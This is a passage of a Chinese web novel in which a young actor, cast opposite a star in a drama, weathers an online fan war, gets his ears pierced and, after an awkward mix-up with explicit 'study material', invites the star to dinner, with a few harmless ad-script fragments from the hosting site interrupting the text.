剧播后,敖乐盐这个损友录下这段反复鞭尸,整整笑了他半个月,还赐号“啄木鸟”。 那是部糊成锅底的小网剧,压根没人看。 印澄本以为这段黑历史早已深埋,没想到宋屿会看到。 不止宋屿。 连杨导也看到了。 哈哈。 哈。 啊啊啊啊啊啊啊啊!! 印澄表面镇定,内心土拨鼠抱头狂叫。 太爷!带他走吧! “说实话,我还没见过进步速度这么快的新人,还真有点吃惊。”杨导慢悠悠把话说完,“印澄,你可能不知道自己最可贵的是什么。” “学习能力。” “你学得快,又勤又钻,一年跑了50多个组,还挺聪明,演火‘傅生’后立刻把开工速度降下来,没挣快钱胡乱接戏,损耗人气。” “这思路很对。” “有潜力,有野心,才刚进组,连‘贝克’该怎么演都琢磨上了。呵呵,我就喜欢你这种人。” “戏痴。” 印澄静静地听着,听到最后,不觉眼眶发酸。 他忍住泪,对杨临导演鞠了一躬。 “感谢您的夸奖。” “不胜荣幸。” * * * 围读散场后,李鱼对印澄的目光堪称崇拜。 “你今天的表现真是帅飞了!” 他没听到杨导的那些话,对印澄误会有点深。 “蹭个车就能把宋屿拿下!你小子不简单呐!”李鱼兴奋得满面红光。 “啊……不是……”印澄企图解释。 “我看不止宋屿,杨导也挺关照你的,行啊,这我就放心了!你好好演,我先回,有空就来看你哈!”李鱼夹着公文包,大声告别后跳上辆出粗车,闪了。 晚风萧瑟,印澄再次有种被鸟妈妈抛下的错觉。 不过李鱼管理的艺人不止他一个,忙也点正常。 印澄坐上自家公司的商务车,终究还是叹了口气。 走得真干脆啊。 回到泰阳罗酒店的1832号房时,印澄只剩下孤身一人。 秦鸣负责业务对接,到点就下班,吴鸿阳虽然负责日常生活,印澄也不想总拘着人家。 他没开灯,疲惫地瘫倒在客厅的沙发上,恢复体力。 闹腾一天,忽然安静下来,还真有点怪。 豪华房很宽敞,有股陌生的香薰。 他不说话,屋里就一直静,连点响动都没有。 迷迷糊糊的,印澄睡着了。 许是两天没休息好,他睡得沉,连梦都没做。 半小时后,他被手机提示音弄醒,只觉神清气爽,有种充分放松后的舒适感。 优质睡眠,就是香。 印澄利落起身,开灯,把电脑抱到餐厅,进入预约过的直播间。 时装秀刚刚开始,平台很会做生意,给顶流宋屿安排了单独机位,花88元即可解锁,能舞台、观众席同时观看。 印澄付钱的动作没有丝毫犹豫。 氪金多年,他早就习惯了。 准备妥当,印澄给自己倒杯冰水,浅喝一口提神。 宋屿内穿米黄色的佩斯利花纹衬衫,外搭深棕色灯芯绒西装,领带打温莎结,下配卡其色阔腿裤、复古皮鞋,搭配随性,文艺气息浓烈。 最为亮眼的,是他别在西装口袋上的那枚猫头鹰胸针,古铜色为主色调,眼睛镶嵌着棕琥珀,与他的整体穿搭协调一致,浑然天成。 猫头鹰胸针就是宋屿的新代言,品牌方宣传时还送粉丝几张Q版猫头鹰头像,神态各异,非常可爱。 印澄足足欣赏了宋屿五分钟。 太帅了。 赏心悦目。 他知道自己也该看看舞台,培养下品味和眼光,可尝试几次,眼睛就是转不动。 宋屿化过妆,发型也做成时尚慵懒的短卷发,跟品牌高层坐在一起,偶尔低声交流,与参加围读会时的形象大不相同。 印澄想象着宋屿就穿成这样坐在自己对面,顿时紧张,下个瞬间,却又端着水杯哧哧笑起来。 他的出息,也就这点了。 这么光彩夺目的人,居然会留意他。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还给他改变命运的机会。 说实话,印澄对宋屿的喜欢,没有铁杆小羽毛狂热。 她们会记得宋屿所有的活动日期,所有采访时说过的话。 极端的甚至线下追私密行程,高价雇狗仔偷拍。 跟她们相比,印澄更佛系一点。 他听宋屿的歌,看宋屿演的作品,却没向身边的朋友疯狂安利过,只是偶尔会提及。 数据反黑之类的,也不涉及。 他只是在日常生活中,格外留意同宋屿相关的一切。 比如路上打卡宋屿的广告牌,吃饭点宋屿推荐过的菜,商场抽奖选宋屿的生日…… 这种感情更像流水,潺潺湲湲,稳定了五年。 但今日,宋屿在围读会上肯定他时,那股细流却蓦然澎湃。 当知晓宋屿的推荐时,那股细流便涨为波澜壮阔的潮水,将他彻底淹没。 他迫不及待地想再见到宋屿。 想看他的眼睛,跟他说话,跟他接触。 想得到他的笑,再被他摸摸头。 那种渴望在通过屏幕看到宋屿后有所缓解,可随之而来的,却是更汹涌的不满足。 印澄凝视着宋屿的轮廓,某个灯光昏暗的镜头,他看到屏幕中反射的自己,差点被吓到。 他的脸,怎么阴恻恻的? 印澄身子后仰,缓了缓,再次前探,确认表情是正常的。 救命,差点以为被鬼上身了。 手机在桌面嗡嗡震动,印澄拿起,发现是今天刚加的工作群在响。 群友都是《欲都》组里的主要成员,大多参加过围读会。 副导演在@全体。 副导演-羊祖:【快看热搜!消息泄露了!】 印澄不敢耽搁,火速点开围脖,刚打开就两眼一黑。 热搜词条第一位:《欲都》换人。 后面跟着个紫色的“爆”字。 第二位:KK 杨临[沸] 第三位:杨临导演审美[沸] 第四位:宋屿直播[热] 第五位:印澄天降[新] 印澄深吸一口气,点开“《欲都》换人”那条,看见广场上全都是他跟KK的拼接图。 KK的舞台精修帅照VS印澄鸡窝头狗仔偷拍照。 正是他前两天在小区外和公司门前被拍到的,当时他刚睡醒,萎靡感超绝。 对比惨烈,印澄被骂飞了。 “快来人告诉朕这不是真的[怒][怒]” “我嘞个晴天大霹雳啊!” “各位老师我家米契尔不长这样吧[问号 ]@导演—杨临@制片人—张韦达@编剧—艾沫请问你们有什么头绪么??” “@SN娱乐董事长-罗商你眼瞎就赶快去治行嘛?你把你家那位18线糊咖往哪儿塞呢?带走行吗?” “我**真是醉了!宋屿有什么义务要奶新人啊?他这些年为公司做的还不够多吗?你们SN还有良心吗?” “抱走KK不约[鞠躬]我家小孩正在筹备演唱会不掺和哈[微笑]” “狗日的杨临!欺负KK好说话是吧!我跟你们拼了!” “这破剧敢上线试试呢?看我们骑士团抵不抵制就完了[飞吻][飞吻][比心]” 9. 官宣 印澄接受了五分钟左右的精神暴击,关掉微博。 工作群里张制片骂个不停,埋怨杨临不该跟KK闹掰,把剧架在火上烤。 其余群员有慌的,有劝架的,乱哄哄地商量对策。 杨导没吭声,任凭张制片狂轰乱炸,自岿然不动。 直播间里,眯眯眼助理正弯腰对宋屿耳语。 宋屿拿出手机,审视片刻,眉头微微皱起。 大概也知道消息了。 经纪人李鱼打来电话,告诉印澄别担心,SN公关部正在紧急开会,并与杨导取得了联系。 “黑就是红,有人骂就有人看!小澄,你已经站上舞台了,其他的不用操心,挺住就行!挺住!”李鱼很亢奋,激情满满。 “好,我知道。”印澄简短回应,挂断电话。 他闭目冥想了一会儿,将脑中那些嘈杂的声音屏蔽,让心态重新归于稳定。 印澄清楚,无论是多大的腕儿都避免不了黑粉,这是条千万人挤的竞争赛道,利益当前,“捧”“骂”都能被做成生意。 若真在意,就是跟自己过不去了。 印澄捋清思绪,尝试着从当事人的身份中抽离出来,心态顿时轻松不少。 他重新打开微博,发现原先杂乱的战场收到指挥,无论是哪方粉丝,统统顶上“剧粉”的名头,将头像换成维权图片,在《欲都》的官博下和广场上发声讨。 排版整齐,义愤填膺,要求《欲都》立刻回应换人传闻,禁止冷处理。 印澄叹为观止,忽然担心自己的粉丝。 外面吵成那样,“小橙子”会不会受到攻击? 印澄难免忐忑,刚进超话,立刻被满屏的鞭炮和抽奖糊了一脸。 小橙子们在开香槟。 “我嘞个SN魅魔!澄宝出息啦!” “《欲都》!米契尔!这资源!这大饼!我就问问还有谁!!” “活久见,澄崽居然跟宋屿搭了!家人们谁懂啊!” “来来来发喜糖!家崽上热搜啦!大家都来沾沾喜气![糖][糖]” “我来一块[撒花]” “我也来一块!蹭蹭欧气!” “截图留念[龇牙笑]” 印澄:…… 好美丽的精神状态。 嗐,他的小橙子们没事就好。 手机震个不停,好像下一秒就要爆炸,印澄屏蔽掉那些胡乱打听的信息,发现杨导给他来了私信。 【怕吗?】 印澄心里一暖,回复他“不怕”。 【好。】 杨导没再多言,转而在工作群@全体。 导演-杨临:【准备文案,官宣。】 热粥般的群刹那寂静。 制片人-张韦达:【姓杨的!你疯了!!!】 副导演-羊祖:【收到】 编剧-艾沫:【收到】 米契尔-印澄:【收到】 制片人-张韦达:【**接电话!杨临!躲我是不是?你等着,老子这就去找你!】 贝克-宋屿:【收到】 张制片的咆哮在大量的“收到”中时隐时现,最终绝迹。 印澄看见宋屿的留言心里一悸,他把视线转回直播间,发现宋屿正跟眯眯眼助理交待着什么,神情严肃。 十分钟后,《欲都》剧组火速上传官宣文案,还特地按照番位@各个演员。 印澄赫然在列,紧随宋屿之后。 与此同时,杨导上号,强势回应:“流量固然重要,人品才是根本。某艺人曾屡次挑起争端,无视合约,妄图将二番撕成平番,道德欠缺,且严重违背行业规范,现已被剧组除名,请相关人员自重,停止纠缠。” 这是枚重磅炸弹,掀起的滔天巨浪让微博在三分钟之内陷入了瘫痪。 印澄写好自己的官宣文案后,尝试十多次才用大号发布成功。 等宋屿的账号回复完毕,局势已重新洗牌。 KK的骑士团跟小羽毛愤而开战,用对方的黑图狂铺广场,用词之激烈,战况之酣,可谓“血流成河”。 小羽毛怒骂KK抢番不要脸,还拿剧粉当枪使,骑士团大骂杨导污蔑好人,小羽毛为虎作伥。 而身处于风暴中心的杨导,则跟骑士团逐条对线,半点不留情。 印澄原本是被“讨伐”的对象,如今被暂时放过,SN公关部看准时机,上了条“印澄演技”的热搜,用他小火过的“傅生”扭转路人印象,趁势吸粉。 这招很管用,印澄的粉丝数量每秒都在疯狂上涨,连超话都挤满了闻风而来的吃瓜群众。 “抓住机会!写点感激的话,经营一下形象!”李鱼再次打电话过来,亢奋得像喝了假酒。 印澄应下。 他打开备忘录,沉思良久,终于写下一段,贴到微博的草稿箱里。 “感谢命运的眷顾,让我有机会认识大家。前路漫漫,道阻且长,但我会坚定前行,用更多作品让大家了解我。感谢关注,我是印澄。 ” 他反复审视,胸膛内传来的跳动愈发强烈。 点击“发送”的那一刻,他才记起要呼吸,深深吸了一口气。 印澄有点坐不住。 他撇开手机,抱着笔记本电脑在屋子里走来走去,双眼无意识地盯着秀场里的宋屿。 仿佛这样,就能得到些许宁静。 暗紫色灯光下,宋屿欣赏舞台的神情沉稳专注,缓慢而又切实地消除着印澄的浮躁。 没过多久,宋屿好像有察觉到什么,点开握在掌心的手机。 旋即,他低头轻笑,编辑一阵后,锁黑屏幕,再次看秀。 印澄定住,不再乱走。 僵了几秒,他快步回到餐厅,放下电脑,抓起手机。 宋屿评论了他的新博文。 “加油,弟弟。” 点赞人数在数秒内突破五万,压下所有评论,牢牢地占据回复第一位。 宋屿不单留言,还关注了他。 印澄怔怔地看着这四个字,用很缓慢的速度移动指尖,回关了宋屿。 “谢谢,哥。”他刚回复完,瞬间收到上千条小羽毛的祝福。 【友谊长存!哥哥弟弟合作愉快!】 【邪魔退散!福运降临!】 【两位都是很好的人!在《欲都》一起加油呀!】 一直以来,宋屿的态度就是小羽毛前进的方向。 现在,这颗尚且青涩的橙子,也被护进羽翼之下了。 印澄趴着餐桌,用手死死地捂住双眼。 一个人对另一个人的喜欢,究竟有没有上限呢? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 印澄不知道。 他只是比一分钟前的自己,更喜欢宋屿。 * * * “屿澄”超话连夜成立,以极其恐怖的速度登顶CP榜首。 宋屿在秀场实时回复印澄的那个笑,被奉为“屿澄”第一糖,“哥哥弟弟”排第二,激得无数太太灵感爆发,画稿写文齐上阵,热闹非凡。 印澄去洗了个冷水澡,勉强恢复正常,瞧见CP超话切小号进去偷看,被几篇H文贴脸,再度钻回浴室。 好大的尺.度。 好花的活儿。 他再多看两眼,明天见到本尊就得原地爆炸。 产粮太太们想象力太丰富,《欲都》里的激.情戏终究还是保守了。 话说23CM的梗怎么经久不衰啊。 真那样的话会出人命吧。 印澄被凉水冻得发抖,裹了两件浴袍才暖和过来。 半夜11点,宋屿的秀场活动早已结束,他却还是睡意全无。 不行啊。 印澄摇头劝自己。 不能乱熬夜。 米契尔是养尊处优的小少爷,他必须得保证皮肤状态。 想是这么想,奈何印澄双眼炯炯有神,堪比黑猫警长,短时间内跟周公肯定是没戏。 他叹口气,把敖乐盐从铺天盖地的未读中挖出来,给他讲些能透露的最新消息。 敖乐盐是夜猫子,整个人上满弦似的,东问西问,差点鸽了游戏直播。 印澄尽职地把他撵去开播,坐回电脑前,将敖乐盐送他的硬盘插.上,浏览里面的学习资料。 硬盘里的文件有两大类:理论和实操。 印澄点开“理论”,看见里面都是《断背山》《霸王别姬》《蝴蝶君》等国内外有名的同性片,大为感动。 难为敖乐盐这个钢铁直男帮他搜罗了这么多素材,真是辛苦他了。 他滑动鼠标,点开“实操”,却见里面并无醒目标题,只按照单纯的1234排序。 印澄好奇,随便点开一个,发现里面也是视频,时长有20多分钟。 跟“理论”类的佳作不同,单看开头,是他没看过的。 镜头由小洋屋外的草地推进,声音很小,几乎听不见。 印澄试着调大音量,收效甚微,索性一直按“+”号键,快到顶格才听到细微的脚步声。 大概是视频原件受损了吧。 印澄把椅子稍稍推后,双手交叉搁在腿上,调整到舒适的观影距离。 视频不长,正好看完睡觉。 手持镜头摇晃得夸张,稍微让人有点不舒服,很紧张。 眼看镜头即将进屋,走廊里忽然传来脚步声。 印澄的注意力立刻被引走。 他侧头,视线隔着墙壁,跟随那阵脚步停顿,开锁,进入旁边的1833号房。 是宋屿。 宋屿回来了。 他……要不要去打声招呼? 这么晚打搅,不礼貌吧。 可人家那么关照自己,什么都不说也不合适啊。 明天!明天早起去问好! 呃,不行,他上午要去打耳洞,得等到围读才能见面…… 响彻云霄的叫.床声豁然炸开。 印澄一轱辘滚下椅子,跌跌撞撞爬向电脑。 10. 耳钉 “OH YEAH!OH YEAH!OH MY GOD!F**K ME JONNY!OH!” 贯耳魔音在印澄扣上笔记本的刹那消失。 电脑陷入暂时休眠,但印澄不敢赌。 他手忙脚乱找出耳机插.好,谨慎地重新掀起屏幕。 视频已被暂停,定格着两人陶醉的面孔。 印澄抓着头发把它叉掉,光速逃进卧室,钻进被里无声翻滚。 宋屿没听到吧。 没听到对吧! 好歹是高档酒店,隔音不至于太差吧!! * * * 次日上午9点,吴鸿阳和秦鸣过来接印澄,看见他的黑眼圈都吓了一跳。 “抱歉,有点没休息好。”印澄笑得僵硬。 吴鸿阳和秦鸣对视一眼,皆表示理解。 昨晚发生那么大的事,失眠也很正常。 坐车去美容院的路上,吴鸿阳给印澄戴了个凉感蒸汽眼罩,紧急补救他的眼部状态。 印澄很感激。 后勤方面,吴鸿阳向来值得信赖。 秦鸣尽责地给印澄汇报事态发展。 杨导跟KK的粉丝“骑士团”对线到凌晨3点,金句频出,将KK在组里目中无人、胡乱加戏等事抖了个干净。 重点谴责人品,顺带抨击演技,把骑士团里的战斗粉气得鸡飞狗跳。 最后几名大粉下达指示,杨导是想蹭KK热度,骑士团做好录屏留证,让工作室告黑就行,不必恋战。 如果说跟杨导还能算五五开,谈到小羽毛,骑士团就没半点挽尊的余地了。 两方粉丝开战不到半小时,KK的广场、超话和各平台的官方号就全部沦陷,到处都是小羽毛愤怒的身影。 截止到目前,仍在被胖揍。 印澄账号一夜间涨粉30W+,粉丝达到260W。 “屿澄”超话仍在榜一,且CP粉称呼经投票确定为“小女巫”。 印澄掀开眼罩:“小女巫?” 秦鸣找到一张手绘给他看,是一颗有翅膀的橙子。 “这张同人图点赞很高,外形酷似《哈利·波特》里的金色飞贼,粉丝想当‘小女巫’也很合理。”秦鸣认真解释。 吴鸿阳没绷住,偷笑出声。 印澄把眼罩重新盖好,闭眼养神。 …… 挺好的。 叫“小女巫”也挺好。 秦鸣汇报完毕,吴鸿阳打电话跟预约好的美容院再次确认时间。 没人搭话,印澄大脑放空,继续发呆。 他昨晚严重失眠,硬躺也没用。 发现自己实在睡不着,印澄索性起来研究剧本,精读200页后还是不困,印澄干脆又去做俯卧撑消耗精力。 他想打败失眠,却被失眠一顿痛扁。 关于宋屿究竟有没有听到那阵销.魂的声音,印澄琢磨不出答案。 天快亮时,印澄自暴自弃,甚至重新点开那段视频,消磨时光。 这次他有记得戴耳机。 剧情很简单,最初的镜头就是小偷视角。 一栋洋房里进了贼,贼偷到卧房时,发现黑人园丁正在暴击白人房主。 也就是开头的那段。 战况结束后,贼也来了兴致,突然出现在园丁身后,进行暴击。 房主休息完毕,又重振旗鼓,绕到贼身后,跟着暴击。 那名贼也是个黑人。 这三位由此开始“奥利奥”夹心饼干车轮战。 利奥奥、奥奥利、奥利奥、利奥奥…… 印澄面无表情看完全程,灵魂遭到重创,终于身心俱疲,倒头就睡。 就连醒来后,人也是麻麻的。 毁灭吧,累了。 浑浑噩噩间,车辆抵达美容院。 吴鸿阳递给印澄一副墨镜:“遮着点吧,你现在关注度高,小心偷拍。” 印澄立刻强打起精神。 他上次被偷拍的照片简直一言难尽,以后是得提防。 整理好稍微压扁的头发,印澄戴着墨镜,在助理们的陪同下进入美容院。 打孔师引导着三人来到耳部护理区,仔细观察过印澄的耳垂形状后,举着镜子跟他确认打孔位置。 “疼吗?”印澄问。 这一路他都很淡定,直到打孔师用笔帮他做记号,他才开始紧张。 “您耳垂不算太厚,放心,很快的。”打孔师笑着安慰他,巧妙避开“疼不疼”的问题。 印澄抿了下唇,点点头。 “请问耳钉要什么材质的呢?有钛合金、纯银、生物瓷和塑料这几种。”打孔师拿来样品,给他介绍每一种的优缺点。 “纯银的就好。”印澄做出选择。 银具有杀菌消毒的作用,能减少感染的风险,帮助伤口愈合。 不过材质较软,戴上后要避免挤压碰撞。 打孔师开始给耳洞枪装钉。 印澄忽然口干舌燥,特别想喝水。 “一下就过去了澄澄,别担心!”吴鸿阳抱在背包,龇牙咧嘴,好像已经替他疼上了。 秦鸣也站得很近,表现出难得的兴趣。 印澄非常想念自己的肥肥鲨抱枕。 但眼下,他只能握紧拳头。 “开始喽~”打孔师笑着将枪.口贴紧印澄的耳垂。 啪! 穿钉的确很快,疼痛甚至还慢了两秒。 紧接着,左耳仿佛着火般,烧得厉害。 打孔师动作利落,又对准右耳来了一枪,根本不让顾客反应。 印澄跳站起来,在屋里以极快的速度走圈,途中不忘对打孔师道谢。 “哥,你安马达了?”吴鸿阳按住印澄,怀疑他脑子也被开洞了。 “哈哈,没事,不疼!”印澄声调比平时高了一个八度。 有点亢奋。 “他应该是对疼痛敏感型的。”打孔师给出总结,帮印澄的耳朵做完消毒,叮嘱道,“每日用医用酒精轻擦1~2次,洗漱时避免耳洞沾水,记得转转耳钉,防止粘连。” 吴鸿阳逐条记录注意事项,顺便从包里掏出小电风扇帮印澄散热。 印澄在发红,从脸到脖子都红透了。 “请问,我多久才能戴耳环?”印澄把电扇风力调到最大,在意地问。 米契尔戴的是耳环,并非耳钉。 “看恢复情况吧,没有红肿、疼痛或感染的话,1周就可以,否则可能要2~3周。”打孔师答道。 印澄默默计算着时间,开机定在本月的27日,还有9天。 但愿他能尽快养好,以最佳状态参加开机仪式。 打完耳洞,印澄还做了套简单的妆发,重点遮盖黑眼圈。 临走前,几名美容师害羞地走过来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,想要跟他合影。 其中包括那位打洞师。 印澄:…… 刚才表现得更勇敢就好了。 他没叫出声吧? * * * 不管怎么说,粉丝激增都是件好事。 印澄难得在外被人认出,大为感慨,中午做东搓了一顿。 下午1点50分,三人准时抵达会议室,立刻收到众人关切的问候。 印澄心里暖暖的,与大家一同加油打气。 经过昨晚的事,组内的凝聚力似乎更强了。 “张制片呢?”印澄没看到张韦达的身影,悄悄问副导演。 副导演使了个眼色:“跟杨导吵得不轻,估计这两天是能不来了。” 印澄很乐于听见这个消息。 宋屿来得稍晚,一进门就看出印澄的不同:“疼吗?” 印澄猛摇头,小心观察宋屿的神色。 看起来很正常,跟昨天没什么不同。 难道宋屿压根儿就没听见? 呼,老天保佑! “对了,你这次只打了耳洞吗?”宋屿仿佛想起来什么似的,悄声问他。 “是、是啊。”印澄听出话头不对,顿时紧张起来。 “上次忘了告诉你,其实米契尔在剧里……还穿乳环。” 轰。 火山喷发。 印澄惊呼:“乳环?!” 所有人的视线唰唰聚集,像昨天一样,再次扎到印澄身上。 印澄捂住嘴,满脸惊慌。 宋屿努力克制笑声,可惜不太成功。 他用力揉了揉印澄的头发:“骗你的!” 印澄顿时放松,跟着也乐起来:“吓死我了。” 那种痛要是转移到那个地方……他简直不敢想! 还好是假的。 没想到宋屿还有这么不正经的一面。 印澄笑着笑着,视线下意识落到宋屿胸前。 他发誓他不是LSP。 但不知怎的,他就是想象了下宋屿穿乳环的样子。 轰。 火山复燃。 “在想什么?”宋屿蓦然凑近他耳边。 “没、没什么。”印澄被烫到般后退两步,拉开距离。 他被看穿了? 天呐,他该不会流鼻血了吧! 印澄崩溃地用手背抹抹鼻子,他现在哪儿哪儿都烧的慌,真判断不出到底是什么地方露的馅。 宋屿再度笑起来。 他摇摇头,感叹:“印澄,你到底是胆子大,还是胆子小?” 印澄很想逃。 他真的要待不下去了! 宋屿怎么一直逗他! 莫非…… 印澄耷拉着脑袋,生无可恋:“屿哥,你是不是听见了。” “嗯。”宋屿承认,“你摔倒的动静很大。” 印澄捂住脸:“我说我当时在看学习资料,你信么?” 宋屿颇感意外,思忖片刻,竟颔首道:“这倒是种办法。” 嗯? 印澄没想到对方会信。 还很干脆! “咳,我毕竟没经验,怕到时候演不好,所以就……”印澄想再解释两句。 “的确,我也没演过这种戏,相关资料还是有必要看的。”宋屿屈起食指指节,抵着下颌,“以后,要不要一起看?” 11. 约饭 印澄以为这也是一个玩笑。 可他等了等,宋屿却没打趣,仍在期待他的回复。 似乎是认真的。 印澄尴尬,他没跟别人观赏过那种“资料”。 怎么一起看? 难道要对着满屏马赛克探讨各种姿势的可行性? 宋屿能接受“奥利奥”? “唔,以后再说。”印澄含糊混过。 “人齐了,开工。”杨导不知何时出现在门口,猛拍两下掌帮大家振奋精神。 众人见状,立即终止闲聊,纷纷落座。 印澄小跑着逃离宋屿,生怕被他继续追问。 副导演给每一位都配了浓缩咖啡,帮大家强行集中注意力。 毕竟看面色,每个人的黑眼圈都浓得差不多。 杨导没提舆情,看样子是想先完成今日的围读进度。 印澄暗暗钦佩杨导超强的自制力,恍然想起自己还没跟宋屿道谢。 糟糕! 话题太歪,他把正事忘了! 印澄在剧本的遮掩下偷瞄宋屿,只见他端坐在对面,斯文儒雅,已然恢复成往日的矜贵模样。 很帅。 也很正经。 似乎进入了工作状态。 印澄思量着等围读结束再去搭话,随手拿起咖啡喝,登时被苦得皱脸。 对面传来声极轻的笑。 印澄没注意到。 他舌头发麻,张嘴不断吸凉气,畏惧地把那罐浓缩咖啡推远。 这东西能在市面上流通,简直是种奇迹! 副导演很满意咖啡带来的效果,他清清嗓子,开始念旁白。 没有张制片捣乱,会议室气氛融洽,围读也进展得十分顺利。 剧中贝克侦探被米契尔看中,成为他的贴身保镖,却没有得到信任,能在摩拉密医药公司里调查的范围很小。 米契尔则把贝克侦探当成玩具,屡屡作弄,有几次差点害其丧命。 贝克侦探顶住压力,每次都巧妙解决困境,表面忠诚,实则对米契尔愈发憎恶。 若非有警官劝阻,贝克侦探甚至想杀掉米契尔,帮被“鸟嘴医生”掠走的贫民们复仇。 总之,米契尔在这个阶段相当拉仇恨,欠揍得让人牙痒痒。 贝克侦探愤怒、隐忍,暗自发泄,见过太多血腥暴力的场面,性格也变得有些扭曲。 在米契尔的纵容下,他逐渐习惯用武力解决难缠的问题。 剧本很能调动情绪,结束围读时,印澄甚至有种“马上要被揍”的危机感。 等剧播到这几集他就断网吧。 贝克侦探被折磨得……属实有点惨。 工作结束,杨导示意大家重新坐下,谈起昨晚的事。 “等围读全部结束,咱们先拍一部分的角色海报出来,持续扩大热度,也能给剧粉吃颗定心丸。” “印澄戴耳钉的效果很不错,到时候单人双人海报都拍,好好扭转下部分网友的偏见。” “制片这两天犯病,回家休养,群里也被我暂时禁言了。让他休息,你们有事找我。” “‘屿澄’CP热度不错,对剧宣有利,你俩以后可以慢慢增加互动,稳住流量。” “另外,印澄,我想给你加个‘擅长用刀’的设定,你愿意练吗?” “刀?什么样的刀?”印澄脑海里率先浮现的,是古惑仔用的大砍刀。 呃……像米契尔那种小少爷,似乎跟刀不太搭。 “绅士折叠刀,刀身细长、轻薄,能放进口袋里,方便携带。刀尖锋利,刀柄纯银打造,会雕刻些精致的藤蔓图案。”杨导说着,把手绘图纸递给印澄。 “我看你转笔动作挺灵活的,换成刀,应该能更华丽好看。图是我昨晚画的,先将就着看吧。”杨导语气谦虚,再次打开一罐咖啡。 他已经喝了三罐了。 印澄被图纸的精细程度所震惊。 完成度这么高的作品,居然是杨导在跟黑粉对线的空隙画成的! 他忽然对“才华横溢”这四个字有了深刻认知。 《欲都》里贝克侦探的动作戏特别多,宋屿提前两个月进组集训,现已训练完毕。 与其相比,米契尔更侧重文戏,无需特训,印澄也就直接进组了。 眼下开机在即,时间紧迫,其他的姑且不论,若只是玩刀,印澄倒真有把握能学会。 “没问题,我练!”印澄给出保证。 能为米契尔添彩,他情愿再累点。 “好!那今天先这样,我去协调指导老师,你等我电话!”杨导扶桌起身,目光炯炯,充满干劲。 丝毫不见疲态。 印澄望着杨导风风火火离去的背影,钦佩万分。 真是位雷厉风行的人啊。 围读会的成员们也跟着起身,互相道别。 印澄琢磨着练刀的事,慢吞吞地收拾剧本。 “欸!等等!”印澄猛地叫住宋屿,发现对方还没打算走。 叫急了。 尽量忽略别人好奇的目光,印澄踌躇着走到宋屿面前。 该怎么说才好呢? 宋屿对他说的“加油”是个信号,改变了小羽毛们的态度。 “屿澄”超话里的主持就是宋屿大粉,那些高质量的同人作品,大部分也都是小羽毛贡献的。 在昨晚那种情形下,这种做法既预热《欲都》,也维护了被骑士团攻击的印澄。 印澄很想感谢宋屿,但只是说说,也太苍白了些。 “我想请您吃饭,可以吗?”印澄鼓足勇气,发出邀请。 宋屿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 微怔,见助理欲上前,他隐秘地做了个阻止的手势。 “当然可以。”宋屿含笑。 答应了! 印澄心跳加速。 待会儿一定要好好酬谢。 他准备好钱包了! * * * 宋屿选择的饭店和菜系,微妙地卡在印澄预算的极限。 像这种装潢过于奢华的西餐厅,印澄向来敬而远之。 但现在,他半点不心疼,反而有种微妙的踏实感。 能稍稍回报宋屿的好,印澄甘之若饴。 宋屿的助理办事效率很高,他们临时过来,居然也能订到有落地窗的VIP包间。 天色渐晚,窗外车流涌动,霓虹灯璀璨如画,屋内舒缓的音乐则闹中取静,平添了丝浪漫。 印澄没吃过这里的东西,索性点了跟宋屿相同的菜系。 前菜是牛油果鲜虾沙拉,口感层次清爽,当真不错。 “抱歉,其实我还有些工作上的事要处理完,用餐时可能会看手机。”宋屿语带歉意。 “没事没事,您随意。”印澄连连摆手。 他没想到宋屿这么忙。 早知如此,该换个时间约饭的。 “沙拉还吃的惯吗?”宋屿笑着问他。 “嗯!”印澄诚实点头。 “那就好。你刚打耳洞,先不要喝酒,血管扩张容易造成耳部充血。”宋屿解释自己没点酒的行为。 印澄点头,感慨宋屿心细。 他又吃两口,忽然觉着哪里不太对。 比起自己,宋屿好像更像请客的那一方? 他怎么一直在被照顾…… 宋屿真的很忙,两人没聊几句,他的手机就开始频繁震动。 趁着对方处理公务,印澄没忍住,摆好餐具,给沙拉拍了个照,用微博小号发出去留念。 跟大号的血雨腥风相比,“鲨鱼没蛀牙”简直是片净土,连私信都只有一条。 宋屿还没忙完,印澄也放缓了进餐速度。 他点开私信,发现是上次聊过几句的陌生ID对他发的“晚安”。 一晃两天过去,印澄始终没回复,终究不太礼貌。 他随手回了个“晚上好”的表情包打招呼。 宋屿正欲放下手机,倏然顿住,看了眼印澄,再度打起字来。 陌生ID:【晚上好】 印澄没想到对方回得这么快,一时尴尬,又发去个笑脸。 陌生ID:【在用晚餐?】 鲨鱼没蛀牙:【嗯】 印澄盯着屏幕,无声地笑了笑。 他现在的心情,恐怕只能跟陌生的网友分享了。 鲨鱼没蛀牙:【在跟暗恋的人吃饭】 宋屿轻咳两声,似乎有被什么东西呛到。 12. 自白 “怎么了?”印澄半站起身。 宋屿以拳抵唇,边咳边摇头。 恰逢服务生敲门,询问是否需要撤掉前菜,得到允许后,为两人换上松露菌汤。 印澄舀起一勺浅尝。 黑松露的独特香气与奶油完美,鲜美浓郁,入喉后回味悠长。 好喝,就是黑松露太贵。 要是回去自己做,应该能用香蘑之类的代替? 服务生很快离开,宋屿用臂肘倚靠餐桌,双手交错,无意识地摩挲拇指:“‘屿澄’超话,你有看过吗?” “嗯,里面还挺热闹的。”印澄想起几篇略重口的H文,表情微妙。 宋屿那么忙,应该没注意到吧。 “有篇文叫《永世纠缠》,我们被塑造得深情,相爱相杀,最后灵魂融为一体,很受推崇。”宋屿回忆。 印澄一口老血梗在胸膛。 天杀的! 怎么是这篇! 那文黄得惊天动地,他俩几乎从头“缠”到尾,XP堪称千变万化! 它点击高,和谐得也快,被平台屏蔽后以反转图片的形式四处流传,生命力相当顽强。 宋屿居然看了! “沈秋推给我的。”宋屿语气平静。 印澄哑然。 沈秋就是跟在宋屿身边的眯眯眼助理,爱笑,像玉面狐狸。 如今看来,果然是位损友。 “大部分人给出的评价是精彩、感动,甚至出现了这篇文的衍生作品。”宋屿蹙眉,斟酌着措辞,“说实话,我不太能够理解。” 印澄默默喝了口汤。 宋屿是直男,冷不丁看见那么黄.暴的,没连夜抗着飞机跑就不错了。 